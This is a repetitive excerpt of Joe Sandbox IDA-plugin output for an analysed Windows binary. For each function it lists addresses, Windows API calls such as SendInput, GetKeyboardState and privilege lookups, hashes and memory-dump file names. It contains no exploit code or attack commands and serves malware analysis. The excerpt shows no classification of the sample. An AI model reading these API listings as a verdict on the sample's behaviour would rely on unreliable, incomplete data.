Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 293f179e5d5a32d97edaeb2be5b9bc11781d01c3252e3f72ede56bc74f829818
Instruction ID: 758a278a6292f505819a31f3d62841b1fa2285064ee13e59612b4e8b4095fa2b
Opcode Fuzzy Hash: 293f179e5d5a32d97edaeb2be5b9bc11781d01c3252e3f72ede56bc74f829818
Instruction Fuzzy Hash: 9131A072A0021AABDB289F64DC45EEF7BA6EB41310B094568FC04D6290EB35DD91CBA0

Function 006752C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00675352
GetWindowLongW.USER32(?,000000F0), ref: 00675375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00675382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 006753A8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 46d081160e1b4f12d69ad72e17a4eacb9e5c0e33184cd3747041ee22cf01f718
Instruction ID: 0c43934bacdf30703ada53bef2289d6dd3bb7a4a8342307775e593dbbe38a60b
Opcode Fuzzy Hash: 46d081160e1b4f12d69ad72e17a4eacb9e5c0e33184cd3747041ee22cf01f718
Instruction Fuzzy Hash: 25310630A55A08FFEB349B14CC55BE83767AB043B0F548185FA1A963F0E7F4AD809781

Function 0064AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 0064ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0064AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0064AC74
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 0064ACC6

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 19a46650ecbc6a5dcaba42246375a677c5d29272ea5667970078151c4000b055
Instruction ID: d7cfe4baedf9dbfe0c824ff3beda9d6860e4b6bbcfcb70e81704007faba93226
Opcode Fuzzy Hash: 19a46650ecbc6a5dcaba42246375a677c5d29272ea5667970078151c4000b055
Instruction Fuzzy Hash: 5E310870A80618BFEF75CBA58C847FA7BA7AB49320F04521EE485562D1C37589858792

Function 00677674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0067769A
GetWindowRect.USER32(?,?), ref: 00677710
PtInRect.USER32(?,?,00678B89), ref: 00677720
MessageBeep.USER32(00000000), ref: 0067778C

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: a104a83d06473a98ce01bbb4f83851124414857080bc88382f11eb5392c22423
Instruction ID: 50c13cbdd93ca9436c70f0cc1fc2b46d47d95f96bde0a2c709d438afbb5ba2b9
Opcode Fuzzy Hash: a104a83d06473a98ce01bbb4f83851124414857080bc88382f11eb5392c22423
Instruction Fuzzy Hash: 5641AD74605254EFCB19DF58D894EA9B7F6FB49314F1881A8E4189F361C331AA82CF90

Function 006716DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 006716EB

Part of subcall function 00643A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00643A57
Part of subcall function 00643A3D: GetCurrentThreadId.KERNEL32 ref: 00643A5E
Part of subcall function 00643A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,006425B3), ref: 00643A65

GetCaretPos.USER32(?), ref: 006716FF
ClientToScreen.USER32(00000000,?), ref: 0067174C
GetForegroundWindow.USER32 ref: 00671752

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 17cf2627108d825fece89f87e4ea6d2b96483c78570f3a8c3f3aa80da4541dc0
Instruction ID: 3d6a76ed2028b21b9fbb3d2a66740cc7fddba663211e0454ef8e6f35ce5d9225
Opcode Fuzzy Hash: 17cf2627108d825fece89f87e4ea6d2b96483c78570f3a8c3f3aa80da4541dc0
Instruction Fuzzy Hash: ED313071D00149AFCB04DFAAC885CAEBBFAFF89304B54806AE455E7311D631DE45CBA0

Function 00678FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

GetCursorPos.USER32(?), ref: 00679001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00637711,?,?,?,?,?), ref: 00679016
GetCursorPos.USER32(?), ref: 0067905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00637711,?,?,?), ref: 00679094

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 22dea7e6eea7351f5f070a030d779484a27c7b1d82322f38007e8c57f4f56722
Instruction ID: faa70bc45f9eb97298c79000f6b057ae8ab7791932a76e17ed6f9820bb007ad6
Opcode Fuzzy Hash: 22dea7e6eea7351f5f070a030d779484a27c7b1d82322f38007e8c57f4f56722
Instruction Fuzzy Hash: 0A217F35610018FFDB298F94CC58EFA7BFAFB8A360F148159F9094B261C73599A0DB60

Function 0064D2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0067CB68), ref: 0064D2FB
GetLastError.KERNEL32 ref: 0064D30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 0064D319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0067CB68), ref: 0064D376

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: f92f93915c118a837e3e501d81bcf3fb7710bf772af40b7921aad4cbb67ef8d0
Instruction ID: 0ed4cece413724b721badaf40d4f2d8bb5d94e165fc022e9733c8b158322fcd8
Opcode Fuzzy Hash: f92f93915c118a837e3e501d81bcf3fb7710bf772af40b7921aad4cbb67ef8d0
Instruction Fuzzy Hash: 5C218070908201DFC714DF24C8854AA7BE5AF96724F504A5DF499D32A1EB30DA46CB93

Function 00641571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00641014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0064102A
Part of subcall function 00641014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00641036
Part of subcall function 00641014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00641045
Part of subcall function 00641014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0064104C
Part of subcall function 00641014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00641062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 006415BE
_memcmp.LIBVCRUNTIME ref: 006415E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00641617
HeapFree.KERNEL32(00000000), ref: 0064161E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: e756f53b138f73b75f92cf1294f16833d57e0e5c0c46bbe145dc98bc0d07802f
Instruction ID: a3abca4d5e98c849581468bc6766841b23f724d7e1a132ef2a0b7feaf6f8c97c
Opcode Fuzzy Hash: e756f53b138f73b75f92cf1294f16833d57e0e5c0c46bbe145dc98bc0d07802f
Instruction Fuzzy Hash: 5D21AF71E00108EFDF04DFA4C945BEEBBBAEF45354F094459E445AB241E731EA85DBA0

Function 00672782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 0067280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00672824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00672832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00672840

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 1be506f77813aa9443ed16e6611ae8883ada1ab0b942066128451f068140bc46
Instruction ID: 8450553373e0d2cebbe41c1c2e220f052570c34e5da379100376666a96f1a924
Opcode Fuzzy Hash: 1be506f77813aa9443ed16e6611ae8883ada1ab0b942066128451f068140bc46
Instruction Fuzzy Hash: 1C21B631604512AFE718DB24C855FAA7B96FF85324F14815CF42A8B6D2C772FC82C791

Function 006478F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00648D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,0064790A,?,000000FF,?,00648754,00000000,?,0000001C,?,?), ref: 00648D8C
Part of subcall function 00648D7D: lstrcpyW.KERNEL32(00000000,?,?,0064790A,?,000000FF,?,00648754,00000000,?,0000001C,?,?,00000000), ref: 00648DB2
Part of subcall function 00648D7D: lstrcmpiW.KERNEL32(00000000,?,0064790A,?,000000FF,?,00648754,00000000,?,0000001C,?,?), ref: 00648DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00648754,00000000,?,0000001C,?,?,00000000), ref: 00647923
lstrcpyW.KERNEL32(00000000,?,?,00648754,00000000,?,0000001C,?,?,00000000), ref: 00647949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00648754,00000000,?,0000001C,?,?,00000000), ref: 00647984

Strings

cdecl, xrefs: 0064797B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 2ede3de5bbdd78b0919afc0ef87f9b7828780a9428f2185047a252dc666cecf4
Instruction ID: f4febaff1e0bcb676ab87b9aa9e5869b10b83673e8fbbd7f6eb4278ca07e181d
Opcode Fuzzy Hash: 2ede3de5bbdd78b0919afc0ef87f9b7828780a9428f2185047a252dc666cecf4
Instruction Fuzzy Hash: A611E63A200342AFCB15AF34D845DBA77AAFF95350B50402EF946CB3A4EB319851C7A1

Function 00677CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00677D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00677D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00677D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0065B7AD,00000000), ref: 00677D6B

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 8b76c30c845bfa7baea476f4792858c563a540171059ee797ef75ea7e5cd37e0
Instruction ID: 6d55fa450b070ecba4679b37141f16f4a6df0ad98b0a226cd0c7621044b1631d
Opcode Fuzzy Hash: 8b76c30c845bfa7baea476f4792858c563a540171059ee797ef75ea7e5cd37e0
Instruction Fuzzy Hash: 3511A271514655AFCB209F68CC04AA63BA6BF46374B158728F83DDB2F0D73199A1CB90

Function 00675660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 006756BB
_wcslen.LIBCMT ref: 006756CD
_wcslen.LIBCMT ref: 006756D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00675816

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 86c77a28ba11ed931865fab504c15359541159a910342aac2a43242119e677f3
Instruction ID: ad670325172a6f9caa77d4f34fc8d6fee5ac6820be1c0450675a69e692558a1c
Opcode Fuzzy Hash: 86c77a28ba11ed931865fab504c15359541159a910342aac2a43242119e677f3
Instruction Fuzzy Hash: 2711DA7160061896DF209F61CC85AEE77ADEF11760F50C1AAFA1ED6181E7B0D580CF64

Function 00611D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b253a62157e5f352738a115ac42011ecfddf782e65ebe09f9ec793a2e44c66
Instruction ID: e6daa1c15baf6fa2515e9329aefb771cd1c5cfac6af71df620a344861b06d521
Opcode Fuzzy Hash: a6b253a62157e5f352738a115ac42011ecfddf782e65ebe09f9ec793a2e44c66
Instruction Fuzzy Hash: D301A2B2A096163EF75116787CC1FE7661FDF827B8B38132AF621592D2DB608CD05164

Function 00641A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00641A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00641A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00641A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00641A8A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 88236d1c2973702af985606ead5fcbb7996019f6373b0cd36ca7f185fc7a80de
Instruction ID: a0297295443cd75547e90ee043316cc91b3a25baee2c34e42c1480ba1f029a28
Opcode Fuzzy Hash: 88236d1c2973702af985606ead5fcbb7996019f6373b0cd36ca7f185fc7a80de
Instruction Fuzzy Hash: 3F113C3AD01219FFEB10DBA4CD85FADBB79EB04750F200495E604B7290D6716E90DB94

Function 0064E1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0064E1FD
MessageBoxW.USER32(?,?,?,?), ref: 0064E230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 0064E246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0064E24D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 3547d9da5413dc274d91a6d43fe10a878b69125a7cc6abeb25ea6f90fbe0291f
Instruction ID: 148b93db52b80a65c154e6875ba4623f234d434dd265391e12b2f71d1d4cd137
Opcode Fuzzy Hash: 3547d9da5413dc274d91a6d43fe10a878b69125a7cc6abeb25ea6f90fbe0291f
Instruction Fuzzy Hash: D01108B2904214BBC7059BA89C15ADF7FEEAB45320F404329F915E3291E6B18A4087A0

Function 0060D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,0060CFF9,00000000,00000004,00000000), ref: 0060D218
GetLastError.KERNEL32 ref: 0060D224
__dosmaperr.LIBCMT ref: 0060D22B
ResumeThread.KERNEL32(00000000), ref: 0060D249

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 366a7ea5af6546f6f2d901dafa4a03ad0677d7e542b91c3b1ae23c21290a7519
Instruction ID: 3d9f32faf373d841859d8182b43611f667001cc633000b8c4f25b6081decc24b
Opcode Fuzzy Hash: 366a7ea5af6546f6f2d901dafa4a03ad0677d7e542b91c3b1ae23c21290a7519
Instruction Fuzzy Hash: 8101C036885204BBDB296BE5DC09BAB7A6BDF81730F10031DFA29961D0DF708A41C7A0

Function 00679EF3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

GetClientRect.USER32(?,?), ref: 00679F31
GetCursorPos.USER32(?), ref: 00679F3B
ScreenToClient.USER32(?,?), ref: 00679F46
DefDlgProcW.USER32(?,00000020,?,00000000,?,?,?), ref: 00679F7A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: da14bd789c6dd7b1a749e7178b8c1f7901c198384c4a6f5f1fbb809bde7e4a37
Instruction ID: 4f2826ce54813993cd3312c148457222df3b30942e6acc8a1eb486b223115c2e
Opcode Fuzzy Hash: da14bd789c6dd7b1a749e7178b8c1f7901c198384c4a6f5f1fbb809bde7e4a37
Instruction Fuzzy Hash: D4119A3290051ABBDB14EF68C889DEE77BAFB05311F008459F905E3140D334BA91CBB1

Function 005E600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 005E604C
GetStockObject.GDI32(00000011), ref: 005E6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 005E606A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

